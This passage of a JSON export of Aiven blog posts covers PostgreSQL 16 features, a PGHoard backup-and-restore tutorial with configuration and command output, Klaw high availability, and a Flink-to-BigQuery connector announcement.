improvements in string processing, array operations, and subtransaction searches.\n\n### Enhanced replication\n\nPostgreSQL 16 introduces enhancements in replication for seamless data exchange between cluster nodes, improving high availability, scalability, and disaster recovery. Performance improvements include parallel transactions for subscribers and enhanced efficiency with B-tree indexes.\n\n### Enriched developer experience\n\nThis release enriches developer experience with [SQL/JSON](https://www.postgresql.org/docs/16/functions-json.html) syntax additions like `JSON_ARRAY()`, `JSON_ARRAYAGG()`, and `IS JSON`. Noteworthy features include using underscores for thousands separators and non-decimal integer literals. The update introduces `\\bind` in `psql` for parameterized queries and improves text collations with default ICU support.\n\n### Improved monitoring\n\nPostgreSQL 16 enhances performance tuning with key additions to monitoring capabilities. The introduction of `pg_stat_io` provides crucial I/O metrics for detailed analysis of access patterns. In the `pg_stat_all_tables` view, a new timestamp attribute, `last_seq_scan`, records the time of the last table scan. Similarly, `pg_stat_all_indexes` gains the `last_idx_scan` column, indicating the time of the last index scan. The `auto_explain` readability is improved by logging input values for parameterized statements automatically. Additionally, PostgreSQL 16 refines the query tracking algorithm in `pg_stat_statements` and `pg_stat_activity` for enhanced precision.\n\n### Strengthened security and access control\n\nThis release strengthens security with refined access control. The release adds `require_auth` for precise client-server authentication and `sslrootcert=\"system\"` for enhanced SSL/TLS security. Supporting Kerberos credential delegation ensures secure connections for extensions like `postgres_fdw` and `dblink`.\n\n\n## Get started with PostgreSQL® 16\n\nUpgrade today to PostgreSQL 16 to take advantage of the new features. \n\nIf you already use Aiven for PostgreSQL, you can run an [in-place upgrade](https://aiven.io/blog/postgresql-major-version-in-place-upgrades-supported-on-aiven) to migrate to the newest version. You can also easily test the upgrade first on a fork of the database to be upgraded.\n\nIf you are not yet using Aiven for PostgreSQL, [sign up here](https://console.aiven.io/signup) for a free trial.","categories":[{"_key":"5d056e3a8e1a","_ref":"9yQ4jxpUoNWbSOSWYlghM","_type":"reference"},{"_key":"d399e582ce3d","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"internalBlogProcess":"product","mainImage":{"_type":"mainImage","asset":{"_ref":"image-5f162fc084bb084c2c794a661bfa11179037ee06-1567x844-png","_type":"reference"}},"publishedAt":"2024-01-18T08:50:45.838Z","related":[{"_key":"84ef433949a4","_ref":"145w1kDoj7UfbaINvzIOg9","_type":"reference"},{"_key":"f0c3e459c9bb","_ref":"5xYduY1JNWW2r0A65rR3iz","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Aiven for PostgreSQL® adds support for major version 16. Find out what the key improvements are and how you can get the new version.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-5f162fc084bb084c2c794a661bfa11179037ee06-1567x844-png","_type":"reference"}},"metaTitle":"Enhanced performance with PostgreSQL® 16"},"slug":{"_type":"slug","current":"/blog/enhanced-performance-with-postgresql-16"},"subtitle":"Aiven for PostgreSQL® adds support for major version 16. Find out what the key improvements are and how you can get the new version.","title":"Enhanced performance with PostgreSQL® 16"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"7CMHly4CQnNqml48ew34QB","_rev":"cEPH2uRN58AU2lp9QO7mll","_type":"post","_updatedAt":"2022-09-08T16:19:15Z","authors":[{"_key":"5X56DMMpbvqaUWfT7pf8Bi","_ref":"5X56DMMpbvqaUWfT7pf8Bi","_type":"reference"}],"body":"[**PGHoard**](https://github.com/aiven/pghoard) is the cloud backup and restore solution we're using in [**Aiven**](/). We started PGHoard development in early 2015 when the Aiven project was launched as a way to provide real-time streaming backups of PostgreSQL to a potentially untrusted cloud object storage.\n\nPGHoard has an extensible object storage interface, which currently works with the following cloud object stores:\n\n* Amazon Web Services S3\n* Google Cloud Storage\n* OpenStack Swift\n* Ceph's RADOSGW utilizing either the S3 or Swift drivers \n* Microsoft Azure Storage (_currently experimental_)\n\n### Data integrity\n[PostgreSQL](https://aiven.io/postgresql \"Aiven for PostgreSQL\") backups consist of full database backups, _basebackups_, plus write ahead logs and related metadata, _WAL_. Both basebackups and WAL are required to create and restore a consistent database.\n\nPGHoard handles both the full, periodic backups [driving pg_basebackup](https://https://www.postgresql.org/docs/current/app-pgbasebackup.html)) as well as streaming the write-ahead-log of the database.  Constantly streaming WAL as it's generated allows PGHoard to restore a database to any point in time since the oldest basebackup was taken.  This is used to implement Aiven's Database Forks and Point-in-time-Recovery as described in our\n[PostgreSQL FAQ](https://help.aiven.io/en/articles/489573-getting-started-with-aiven-postgresql).\n\nTo save disk space and reduce the data that needs to be sent over the network (potentially incurring extra costs) backups are compressed by default using Google's [Snappy](https://github.com/google/snappy), a fast compression algorithm with a reasonable compression ratio. [LZMA](https://en.wikipedia.org/wiki/Lempel%E2%80%93Ziv%E2%80%93Markov_chain_algorithm) (a slower algorithm with very high compression ratio) is also supported.\n\nTo protect backups from unauthorized access and to ensure their integrity PGHoard can also transparently encrypt and authenticate the data using RSA, AES and SHA256.  Each basebackup and WAL segments gets a unique random AES key which is encrypted with RSA.  HMAC-SHA256 is used for file integrity checking.\n\n### Restoration is key\n\nAs noted in the opening paragraph, PGHoard is a backup and **_restore_** tool: backups are largely useless unless they can be restored.  Experience tells us that backups, even if set up at some point, are usually not restorable unless restore is routinely tested, but experience also shows that backup restoration is rarely practiced unless it's easy to do and automate.\n\nThis is why PGHoard also includes tooling to restore backups, allowing you to create new master or standby databases from the object store archives.  This makes it possible to set up a new database replica with a single command, which first restores the database basebackup from object storage and then sets up PostgreSQL's [recovery.conf](https://www.postgresql.org/docs/current/recovery-config.html) to fetch the remaining WAL files from the object storage archive and optionally connect to an existing master server after that.\n\n### Preparing PostgreSQL for PGHoard\n\nFirst, we will need to create a replication user account. We'll just use the psql command-line client for this:\n\n```\npostgres=# CREATE USER backup WITH REPLICATION PASSWORD 'secret';\nCREATE ROLE\n```\n\nWe also need to allow this new user to make connections to the database. In PostgreSQL this is done by editing the\n`pg_hba.conf` configuration file and adding a line something like this:\n\n```\nhost  replication  backup  127.0.0.1/32  md5\n```\n\nWe'll also need to ensure our PostgreSQL instance is configured to allow WAL replication out from the server and it has the appropriate wal_level setting. We'll edit\n`postgresql.conf` and edit or add the following settings:\n\n```\nmax_wal_senders = 2  # minimum two with pg_receivexlog mode!\nwal_level = archive  # 'hot_standby' or 'logical' are also ok.\n```\n\nFinally, since we have modified PostgreSQL configuration files, we'll need to restart PostgreSQL to take the new settings into use by running\n`pg_ctl restart`,\n`systemctl restart postgresql` or `service postgresql restart`, etc depending on the Linux distribution being used.  Note that it's not enough to \"reload\" PostgreSQL in case the WAL settings were changed.\n\nNow we are ready on the PostgreSQL side and can move on to PGHoard.\n\n### Installing PGHoard\n\nPGHoard's source distribution includes packaging scripts for Debian, Fedora and Ubuntu.  Instructions for building distribution specific packages can be found in the [PGHoard README](https://github.com/aiven/pghoard/blob/master/README.rst#building).  As PGHoard is a Python package it can also be installed on any system with Python 3 by running\n`pip3 install pghoard`.\n\n### Taking backups with PGHoard\n\nPGHoard provides a number of tools that can be launched from the command-line:\n\n* pghoard - The backup daemon itself, can be run under systemd sysvinit\n* pghoard_restore - Backup restoration tool\n* pghoard_archive_sync - Command for verifying archive integrity\n* pghoard_create_keys - Backup encryption key utility\n* pghoard_postgres_command - Used as PostgreSQL's archive_command and restore_command\n\nFirst, we will launch the pghoard daemon to start taking backups. pghoard\nrequires a small JSON configuration file that contains the settings for the\nPostgreSQL connection and for the target backup storage. We'll name the\nfile `pghoard.json`:\n\n```javascript\n{\n    \"backup_location\": \"./metadata\",\n    \"backup_sites\": {\n        \"example-site\": {\n            \"nodes\": [\n                {\n                    \"host\": \"127.0.0.1\",\n                    \"password\": \"secret\",\n                    \"port\": 5432,\n                    \"user\": \"backup\"\n                }\n            ],\n            \"object_storage\": {\n                \"storage_type\": \"local\",\n                \"directory\": \"./backups\"\n            }\n        }\n    }\n}\n```\n\nIn the above file we just list where pghoard keep's its local working directory (backup_location), our PostgreSQL connection settings (nodes) and where we want to store the backups (object_storage. In this example we'll just write the backup files to a local disk instead of a remote cloud object storage.\n\nThen we just need to run the pghoard daemon and point it to our configuration file:\n\n```\n$ **pghoard --short-log --config pghoard.json**\nDEBUG   Loading JSON config from: './pghoard.json', signal: None\nINFO    pghoard initialized, own_hostname: 'ohmu1', cwd: '/home/mel/backup'\nINFO    **Creating a new basebackup for 'example-site' because there are currently none**\nINFO    Started: ['/usr/bin/pg_receivexlog', '--status-interval', '1', '--verbose', '--directory', './metadata/example-site/xlog_incoming', '--dbname', \"dbname='replication' host='127.0.0.1' port='5432' replication='true' user='backup'\"], running as PID: 8809\nINFO    Started: ['/usr/bin/pg_basebackup', '--format', 'tar', '--label', 'pghoard_base_backup', '--progress', '--verbose', '--dbname', \"dbname='replication' host='127.0.0.1' port='5432' replication='true' user='backup'\", '--pgdata', './metadata/example-site/basebackup_incoming/2016-04-28_0'], running as PID: 8815, basebackup_location: './metadata/example-site/basebackup_incoming/2016-04-28_0/base.tar'\nINFO    **Compressed 16777216 byte file './metadata/example-site/xlog_incoming/000000010000000000000025' to 805706 bytes (4%), took: 0.056s**\nINFO    **'UPLOAD' transfer of key: 'example-site/xlog/000000010000000000000025', size: 805706, took 0.003s**\nINFO    Ran: ['/usr/bin/pg_basebackup', '--format', 'tar', '--label', 'pghoard_base_backup', '--progress', '--verbose', '--dbname', \"dbname='replication' host='127.0.0.1' port='5432' replication='true' user='backup'\", '--pgdata', './metadata/example-site/basebackup_incoming/2016-04-28_0'], took: 0.331s to run, returncode: 0\nINFO    **Compressed 16777216 byte file './metadata/example-site/xlog_incoming/000000010000000000000026' to 797357 bytes (4%), took: 0.057s**\nINFO    **'UPLOAD' transfer of key: 'example-site/xlog/000000010000000000000026', size: 797357, took 0.011s**\nINFO    **Compressed 80187904 byte file './metadata/example-site/basebackup_incoming/2016-04-28_0/base.tar' to 15981960 bytes (19%), took: 0.335s**\nINFO    **'UPLOAD' transfer of key: 'example-site/basebackup/2016-04-28_0', size: 15981960, took 0.026s**\n```\n\nPGHoard automatically connected to the PostgreSQL database server, noticed that we don't have any backups and immediately created a new basebackup and started the realtime streaming of WAL files (which act as incremental backups). Each file stored in the backups was first compressed for optimizing the transfer and storage costs.\n\nAs long as you keep PGHoard running, it will make full backups using the default schedule (once per 24 hours) and continuously stream WAL files.\n\nLooking at the contents of the backups directory, we see that our backups now contain a full database backup plus a couple of WAL files, and some metadata for each of the files:\n\n```\n$ find backups/ -type f\nbackups/example-site/xlog/000000010000000000000025\nbackups/example-site/xlog/000000010000000000000025.metadata\nbackups/example-site/xlog/000000010000000000000026\nbackups/example-site/xlog/000000010000000000000026.metadata\nbackups/example-site/basebackup/2016-04-28_0\nbackups/example-site/basebackup/2016-04-28_0.metadata\n```\n\nAvailable backups can be listed with the pghoard_restore tool:\n\n```\n$ pghoard_restore list-basebackups --config pghoard.json\nAvailable 'example-site' basebackups:\n\nBasebackup                                Backup size    Orig size  Start time\n----------------------------------------  -----------  -----------  --------------------\nexample-site/basebackup/2016-04-28_0            15 MB        76 MB  2016-04-28T06:40:46Z\n```\n\nLooks like we are all set. Now let's try restore!\n\n### Restoring a backup\n\nRestoring a backup is a matter of running a single command:\n\n```\n$ pghoard_restore get-basebackup --config pghoard.json --target-dir restore-test\nFound 1 applicable basebackup\n\nBasebackup                                Backup size    Orig size  Start time\n----------------------------------------  -----------  -----------  --------------------\nexample-site/basebackup/2016-04-28_0            15 MB        76 MB  2016-04-28T06:40:46Z\n    metadata: {'compression-algorithm': 'snappy', 'start-wal-segment': '000000010000000000000026', 'pg-version': '90406'}\n\nSelecting 'example-site/basebackup/2016-04-28_0' for restore\nBasebackup complete.\nYou can start PostgreSQL by running pg_ctl -D restore-test start\nOn systemd based systems you can run systemctl start postgresql\nOn SYSV Init based systems you can run /etc/init.d/postgresql start\n```\n\nThe `pghoard_restore` command automatically chooses the latest available\nbackup, downloads, unpacks (and decompresses and decrypts, when those\noptions are used) it to the specified target directory. The end result will\nbe a complete PostgreSQL data directory (e.g. something like\n`/var/lib/postgresql/9.5/main` or `/var/lib/pgsql/data`, depending on the\ndistro), ready to be used by a PostgreSQL instance.\n\nThere are more command-line options for more detailed control over the restoration process, for example restoring to a particular point in time or transaction (PITR) or choosing whether the restored database will be acting as a master or a standby.\n\n### Backup encryption\n\nIn order to encrypt our backups, we'll need to create an encryption key pair. PGHoard provides a handy command for automatically creating a key pair and storing it into our configuration file:\n\n```\n$ pghoard_create_keys --key-id example --config pghoard.json\nSaved new key_id 'example' for site 'example-site' in 'pghoard.json'\nNOTE: The pghoard daemon does not require the 'private' key in its configuration file, it can be stored elsewhere to improve security.\n```\n\nNote that in most cases you will want to extract the private key away from the configuration file and store it safely elsewhere away from the machine that makes the backups. The pghoard daemon only needs the encryption public key during normal operation. The private key is only required by the restore tool and the daemon while restoring a backup.\n\n### Uploading backups to the cloud\n\nSending backups to an object storage in the cloud is simple: we just need the cloud's access credentials and we'll modify the\n`object_storage` section of `pghoard.json`:\n\n```\n            \"object_storage\": {\n                \"aws_access_key_id\": \"XXX\",\n                \"aws_secret_access_key\": \"XXX\",\n                \"bucket_name\": \"backups\",\n                \"region\": \"eu-central-1\",\n                \"storage_type\": \"s3\"\n            }\n```\n\nNow when we restart `pghoard`, the backups are sent to AWS S3 in Frankfurt:\n\n```\n$ pghoard --short-log --config pghoard.json\nDEBUG   Loading JSON config from: './pghoard.json', signal: None\nINFO    pghoard initialized, own_hostname: 'ohmu1', cwd: '/home/mel/backup'\nINFO    Started: ['/usr/bin/pg_receivexlog', '--status-interval', '1', '--verbose', '--directory', './metadata/example-site/xlog_incoming', '--dbname', \"dbname='replication' host='127.0.0.1' port='5432' replication='true' user='backup'\"], running as PID: 8001\nINFO    **Creating a new basebackup for 'example-site' because there are currently none**\nINFO    Started: ['/usr/bin/pg_basebackup', '--format', 'tar', '--label', 'pghoard_base_backup', '--progress', '--verbose', '--dbname', \"dbname='replication' host='127.0.0.1' port='5432' replication='true' user='backup'\", '--pgdata', './metadata/example-site/basebackup_incoming/2016-04-28_1'], running as PID: 8014, basebackup_location: './metadata/example-site/basebackup_incoming/2016-04-28_1/base.tar'\nINFO    Ran: ['/usr/bin/pg_basebackup', '--format', 'tar', '--label', 'pghoard_base_backup', '--progress', '--verbose', '--dbname', \"dbname='replication' host='127.0.0.1' port='5432' replication='true' user='backup'\", '--pgdata', './metadata/example-site/basebackup_incoming/2016-04-28_1'], took: 0.350s to run, returncode: 0\nINFO    **Compressed and encrypted 16777216 byte file './metadata/example-site/xlog_incoming/000000010000000000000027' to 799445 bytes (4%), took: 0.406s**\nINFO    **Compressed and encrypted 16777216 byte file './metadata/example-site/xlog_incoming/000000010000000000000028' to 797784 bytes (4%), took: 0.137s**\nINFO    **Compressed and encrypted 80187904 byte file './metadata/example-site/basebackup_incoming/2016-04-28_1/base.tar' to 15982372 bytes (19%), took: 0.417s**\nINFO    **'UPLOAD' transfer of key: 'example-site/xlog/000000010000000000000028', size: 797784, took 0.885s**INFO**    'UPLOAD' transfer of key: 'example-site/xlog/000000010000000000000027', size: 799445, took 1.104s**\nINFO    **'UPLOAD' transfer of key: 'example-site/basebackup/2016-04-28_1', size: 15982372, took 4.911s**\n```\n\nThe restore tool works the same way regardless of where the backups are stored:\n\n```\n$ pghoard_restore list-basebackups --config pghoard.json\nAvailable 'example-site' basebackups:\n\nBasebackup                                Backup size    Orig size  Start time\n----------------------------------------  -----------  -----------  --------------------\nexample-site/basebackup/2016-04-28_1            15 MB        76 MB  2016-04-28T09:39:37Z\n\n```\n\nToday we released PGHoard version 1.2.0 with support for Python 3.3 and PostgreSQL 9.2 plus enhanced support for handling network outages.  These features were driven by external users, in Aiven we always use the latest PostgreSQL versions (9.5.2 at the time of writing) and access object storages near the database machines.\n\n### PGHoard in Aiven.io\n\nWe're happy to talk more about PGHoard and help you set up your backups with it.  You can also sign up for a free trial of our [aiven.io PostgreSQL](https://aiven.io/postgresql) service where PGHoard will take care of your backups.\n","categories":[{"_key":"6CI2flR8OpeiqtSCkEmG7Z","_ref":"6CI2flR8OpeiqtSCkEmG7Z","_type":"reference"},{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-6ddf5ab7ac7e21c75d22768bae8a1ac5e8ae4b23-2500x1308-png","_type":"reference"}},"publishedAt":"2016-04-28T10:38:00.000Z","seo":{"metaDescription":"Aiven-built PGHoard is a pretty neat cloud backup and restore solution. Find out what it does exactly and how to set it up in this latest blog post.","metaImage":{"alt":"","asset":{"_ref":"image-6ddf5ab7ac7e21c75d22768bae8a1ac5e8ae4b23-2500x1308-png","_type":"reference"}},"metaTitle":"PostgreSQL cloud backups with PGHoard"},"slug":{"_type":"slug","current":"/blog/postgresql-cloud-backups-with-pghoard"},"subtitle":"Aiven-built PGHoard is a pretty neat cloud backup and restore solution. Find out what it does exactly and how to set it up in this latest blog post.","title":"PostgreSQL cloud backups with PGHoard"} {"__i18n_lang":"en","_createdAt":"2023-07-13T08:22:24Z","_id":"93be4feb-f9e0-41bf-8d63-3b83cb3b8416","_rev":"pDdzqLCfBQpAVehlg2EFNY","_type":"post","_updatedAt":"2023-07-17T08:46:35Z","authors":[{"_key":"8ec9d32d7dae","_ref":"3CMp6swW2L6wlHhqp57gWe","_type":"reference"}],"body":"Many organizations use Klaw, one of Aiven’s open source projects, to manage and govern Apache Kafka® ACLs and permissions in their environments. It is important to ensure that Klaw is fault tolerant and able to serve requests seamlessly and efficiently.\n\nIn a few organizations, Klaw is managing from 10 to 100s of Kafka clusters, and it is clear that the application is quite business critical and we need to understand the severity of downtime. This implies that Klaw should be made available on multiple replicated instances and run in failover mode or active/active.\n\n## Why high availability for Klaw?\n\nBefore diving into what high availability is, let's understand why it's crucial for Klaw. As Klaw is essential in managing and monitoring Kafka clusters, ensuring its resilience against potential failures is paramount. Downtime can have dire consequences ranging from slight inconveniences to lost revenue and a damaged reputation. High availability for Klaw addresses these critical issues:\n\n- **Minimizing downtime:** By eliminating single points of failure and ensuring redundancy in the system, HA for Klaw minimizes or eliminates downtime.\n- **Scalability:** As the workload increases, Klaw can handle a higher number of requests, catering to a growing user base, thanks to the HA configuration.\n- **Data availability:** Ensuring that the data is always available, even in the case of component failures, is crucial. HA ensures the data is replicated across different servers, safeguarding against data loss.\n- **Service continuity:** In the event of a disaster or system failure, HA ensures that there is no interruption in service and the operations continue without a hitch.\n- **Enhanced user experience:** Consistent availability and reliability improve user experience, which is vital for customer satisfaction and retention.\n\n## Deploying Klaw at high availability \n\nIn version 2.4.0 and earlier, Klaw could not be deployed in a high availability setup due to architectural limitations in how Klaw managed its internal cache. This meant that Klaw could only be deployed as one instance in production or any environment. \n\nKlaw stores most authorization-related data in the cache to avoid enormous database calls. This effectively reduces latency and gives users immediate response from the application. \n\nTo address this, the developer team behind Klaw introduced a feature that discovers all the available instances of Klaw which are deployed in high availability mode and resets the cache on those instances.\n\n![A diagram showing a multi instance deployment of Klaw with caching on both instances. The cache on the second instance resets when a request hits the first instance.](https://cdn.sanity.io/images/sczeoy4w/production/9cd0ff4f9f6c7db48825e01cb4e5f4592d3460aa-831x486.png)\n\nIn the above example, a Klaw user adds (applies) a new team to instance 1. Klaw stores this information in its cache and triggers a new cache reset request on other instances which updates its local cache.\n\nKlaw relies on its metadata which consists of users, teams, roles, permissions, clusters, environments and topics info. Klaw users can range from 50 to 500 or more users accessing the application requesting for topics, subscriptions, schemas and connectors daily. Handling all the requests with database queries is not efficient and database friendly. Hence, Klaw stores all information in its internal memory and resets it whenever there are changes requested. This allows Klaw to run seamlessly and serve the user’s requests without failure while querying real time data.\n\n## The benefits of high availability \n\nYou can learn more about the specific implementation patterns for using Klaw in high availability mode with NGINX as the load balancing server [on the Klaw blog](https://www.klaw-project.io/blog/high-availability-for-klaw/).\n\nHigh availability provides the following benefits to you: \n\n\n- **Load balancing:** Ensuring systems can handle higher workloads and substantial traffic. For example, 50,000 Kafka topics and ACLs on them with several back and forth requests requires load balancing to be performant. \n- **Fault tolerance:** If a server within a cluster experiences a failure, a replicated server in a separate cluster can seamlessly take over the workload initially assigned to the failed server. This redundancy allows for failover, where a secondary component assumes the responsibilities of a primary component upon failure while minimizing any adverse effects on performance.\n- **Least connected balancing:** Least-connected load balancing allows controlling the load on application instances more fairly in a situation when some of the requests take longer to complete.\n\n## Learn more \n\nYou can learn more about Klaw, an Aiven open source project for external management of Apache Kafka ACLs and configurations on the [Klaw project website](https://www.klaw-project.io/) or [GitHub organization](https://github.com/aiven/klaw). Feel free to open a GitHub issue or reach out via the [community forums](https://aiven.io/community/forum/) if you have any issues with Klaw.\n\n\nThe Klaw team is one of many open source maintainer teams that Aiven's [Open Source Programs Office](https://www.klaw-project.io/) helps maintain and sponsor. Aiven also works on [PGHoard](https://github.com/aiven/pghoard), a PostgreSQL® backup service and [Karapace](https://www.karapace.io/), an Apache Kafka® REST proxy.\n\nIf you want to try out Klaw or any of Aiven's other open source projects, we recommend [signing up for a free trial of Aiven for Apache Kafka®](https://console.aiven.io/signup).","categories":[{"_key":"dd3bca4302ca","_ref":"dIABIFlQ2WxdM5KNsxEcc","_type":"reference"},{"_key":"cdae3b0d2d36","_ref":"5da1e1bb-fe75-4489-8510-b67f1fdec3c7","_type":"reference"},{"_key":"26989c412cc0","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"_type":"mainImage","alt":"Enabling high availability for Klaw with NGINX","asset":{"_ref":"image-dd1d2e6008b7dd6fdb956fd6bc769ed9253f68eb-1567x844-png","_type":"reference"}},"publishedAt":"2023-07-13T08:21:48.496Z","related":[{"_key":"48a80c747450","_ref":"de15d64a-ab02-4a06-bd4d-e37a5095883b","_type":"reference"},{"_key":"69a78dced98b","_ref":"4VOnZBlI7irStOfihS2uKr","_type":"reference"},{"_key":"ab841dab0e29","_ref":"85eab45a-fdee-4d88-8abc-81ba9ee74fc5","_type":"reference"}],"slug":{"_type":"slug","current":"/blog/enabling-high-availability-for-klaw-with-nginx"},"subtitle":"Announcing the availability of the high availability feature in Klaw, eliminating any single point of failure and ensuring minimal or no downtime.","title":"Enabling high availability for Klaw with NGINX"} {"__i18n_lang":"en","_createdAt":"2023-08-17T14:38:34Z","_id":"3c62d57c-a82b-416e-b33e-a49fadcaec1d","_rev":"L3boCkkiM9On4ApfxLi962","_type":"post","_updatedAt":"2024-03-11T08:22:26Z","authors":[{"_key":"a9e55dde503e","_ref":"055b2496-c6da-421a-b3da-8c25cdc90fc0","_type":"reference"}],"body":"Organizations today require real-time analysis to gather immediate feedback and improve their product or service offering. Research shows it takes only a mere three-second window to retain a customer on a website. Within this brief span, responding to data in real time becomes imperative for grasping customer insight and delivering customized offerings in a matter of seconds. To better understand the needs of the customer, data warehousing technologies are now leveraged in a very different capacity: one that allows developer teams to tap into the power of real time data and provide low latency analytics.\n\nStream processing technologies, like Apache Flink®, have emerged as a key enabler for real time data computations, allowing organizations to make better sense of their data and bring millisecond latency response to their users. An example is Pinterest, which runs experiment analytics in real time with the power of streaming technologies like Apache Kafka® and Apache Flink. Leveraging the combination of a robust streaming infrastructure with scalable data warehousing becomes a de facto combination for turning your customer response from hours - or even days - to just seconds.\n\nToday we are thrilled to share two exciting announcements that tightly connect Aiven’s streaming technologies with Google's BigQuery ecosystem for data warehousing. \n\nFirstly, we are excited to announce that Aiven has successfully achieved Google Cloud Ready - BigQuery designation which marks a significant milestone for our partnership with Google Cloud. This designation enables customers to have better confidence in the products that they use today being integrated optimally with BigQuery. \n\nAdditionally, we are introducing the early availability of the open source connector for Apache Flink® to BigQuery allowing more low latency analytical workloads on top of streaming data directly on Google Cloud!\n\n\n## Joining the Google Cloud Ready - BigQuery Initiative\n\nWe are pleased to announce that we have successfully achieved Google Cloud Ready - BigQuery designation. This designation enables customers to easily discover Aiven technologies directly in the BigQuery Partner Center.\n\nBy earning this designation, Aiven has proven that our products have met a core set of functionality and interoperability requirements when integrating with BigQuery. Being part of the program also ensures more opportunities for Aiven and Google Cloud’s partner engineering and BigQuery teams to collaborate closely.\n\n“We are very excited that Aiven for Apache Kafka is now recognized as a partner of the Google Cloud Ready - BigQuery program, as this is a testament to our continuous collaboration and partnership with Google Cloud and its ecosystem of technologies to improve and unlock new use cases for our users,” said Jonah Kowall, Vice President of Product Management at Aiven. \n\n“The Google Cloud Ready-BigQuery designation gives customers confidence that solutions have gone through a formal certification process and will deliver the best possible performance with BigQuery,” said Ritika Suri, Director of Technology Partnerships at Google Cloud. “With Aiven, customers can connect all of their data and metrics with BigQuery to more easily optimize their business performance.” \n\n[Swift](https://aiven.io/case-studies/aiven-enabling-swift-growth) is one of the customers implementing the company’s Warehouse Management System 2.0: using [Aiven for Apache Kafka](https://aiven.io/kafka) with Apache Kafka Connect to stream warehouse data into BigQuery. Using Aiven for Apache Kafka with BigQuery allows them to implement advanced horizontal logistics collaboration (HLC) with the larger ecosystem of their parent organization. \"With the great help and support from Aiven, we can keep our infrastructure stable, scale our business fast, and keep control of our data,\" says Alfi Zainuddin, CTO at Swift Solutions\n\n[Hookdeck](https://aiven.io/case-studies/hookdeck-powers-cloud-data-infrastructure), our joint customer with Google Cloud, has successfully used Aiven for Apache Kafka and its highly available data streaming solution to transfer the data from PostgreSQL to BigQuery. “....we could tap into the great tooling that’s available. We spent some time fine-tuning the integrations and ended up with staggering performance levels. We were able to do 60,000 messages a second,” says Maurice Kherlakian, CTO \u0026 Founding engineer at Hookdeck.\n\n\n## Bridging the gap between streaming data and analytical workloads with the connector for Flink and BigQuery\n\nIn addition to the Google Cloud Ready - BigQuery designation we are also introducing the open source connector for Flink and BigQuery. Aiven is the trusted open source data platform for everyone! In line with our vision, we want the integration between our platform and popular technologies to be as easy and streamlined as possible giving additional flexibility not only to our customers but also to the wider open source community wanting to integrate Apache Flink with popular technologies like BigQuery.\n\nIn line with this, we are bringing the Flink to BigQuery sink connector licensed under the [Apache-2.0 software license](https://github.com/aiven/bigquery-connector-for-apache-flink/blob/main/LICENSE) that allows developers to use the connector no matter whether they use open source Apache Flink or a fully-managed service such as [Aiven for Apache Flink](https://aiven.io/flink).\n\nUsers of the new Flink and BigQuery connector can now develop scalable streaming data pipelines and streaming applications by reading data from multiple sources including data streaming technologies like [Apache Kafka](https://aiven.io/kafka)® or by leveraging Change Data Capture (CDC) to record row-level changes from their operational databases like [PostgreSQL](https://aiven.io/postgresql), in real time. With a stream processing technology like Apache Flink, developer teams can easily make real time transformations to the data and pass the transformed events to BigQuery for further analytical and data warehousing applications and use cases.\n\n\n![Connectinf Flink to BigQuery with the open source sink connector contributed by Aiven](https://cdn.sanity.io/images/sczeoy4w/production/d5f1a09202c27f936aef57e9b2912c471667d2f9-5515x2736.png?w=450)\n\n\nThe existing early availability of the connector currently supports Apache Flink’s SQL \u0026 Table API while future iterations will add support for Flink’s DataStream API and BigQuery’s new Storage API for more efficient and cost-effective analytical workloads at scale.\n\n\n## Pricing \u0026 availability\n\nThe sink connector between Apache Flink and BigQuery is available as an integration in the Aiven Console today. Simply go to your [Aiven for Apache Flink application](https://console.aiven.io/login) and select the BigQuery integration from the [Aiven Console](https://aiven.io/docs/products/flink/howto/connect-bigquery#configure-integration-using-aiven-console) or through the [Aiven CLI](https://aiven.io/docs/products/flink/howto/connect-bigquery#configure-integration-using-aiven-cli). Users of the connector can now seamlessly integrate their streaming data with the BigQuery ecosystem in Google Cloud regions around the globe. Explore more options on our [pricing page](https://aiven.io/pricing?product=flink).\n\nThe connector can also be accessed directly on [GitHub](https://github.com/aiven/bigquery-connector-for-apache-flink). We encourage more contributions and ideas from the users of the connector and the wider Flink and BigQuery communities. \n\n\n## Get Started with Aiven for Apache Flink\n\nYou can now seamlessly integrate Aiven for Apache Flink with BigQuery with just a few clicks in the Aiven console or commands in Aiven’s CLI. If you are new to Aiven, you can sign up for a [free 30-day trial](https://aiven.io/how-to-get-started-with-aiven) or [schedule a demo](https://aiven.io/book-demo) with our team and explore how Flink and BigQuery can work together for you.","mainImage":{"_type":"mainImage","alt":"Apache Flink and BigQuery, connector for Flink and BigQuery, Kafka BigQuery ready, BigQuery partner ready program, streaming data ","asset":{"_ref":"image-762f348994d9a83bd1cd660ba5b035cd535ce846-1200x628-png","_type":"reference"}},"publishedAt":"2023-08-30T14:37:00.000Z","seo":{"_type":"metaData","metaDescription":"Aiven enters Google Cloud’s BigQuery Ready Program and launches new Flink to BigQuery sink connector to tightly connect streaming data with BigQuery’s ecosystem","metaImage":{"_type":"mainImage","alt":"Flink and BigQuery, connector for Flink and BigQuery, Kafka BigQuery ready, BigQuery partner ready program, streaming data ","asset":{"_ref":"image-762f348994d9a83bd1cd660ba5b035cd535ce846-1200x628-png","_type":"reference"}},"metaTitle":"Aiven connects streaming data with the BigQuery ecosystem"},"slug":{"_type":"slug","current":"/blog/aiven-connecting-streaming-data-with-the-bigquery-ecosystem"},"subtitle":"Aiven enters Google Cloud Ready - BigQuery designation and launches new Apache Flink® to BigQuery sink connector to tightly connect streaming data with BigQuery’s ecosystem","title":"Aiven is connecting streaming data with the Google BigQuery ecosystem"} {"__i18n_lang":"en","_createdAt":"2023-06-21T09:46:50Z","_id":"9549ed5f-dc39-4a33-b102-11cdc97f473e","_rev":"Y6NNh6Ue45iOdNdcwAROc0","_type":"post","_updatedAt":"2024-07-05T10:17:29Z","authors":[{"_key":"eab77b6a7866","_ref":"18b2384d-a539-411b-8aab-d148082fe230","_type":"reference"},{"_key":"38df910c2b87","_ref":"9458a930-7d87-42a6-9412-9c0d92077a95","_type":"reference"}],"body":"One of the hardest questions we answer for our large enterprise customers is why they should choose Aiven instead of managing their own database and streaming services. It can seem counterintuitive that paying extra for a managed service can save you money. However, when we factor in economies of scale - particularly in regards to access to 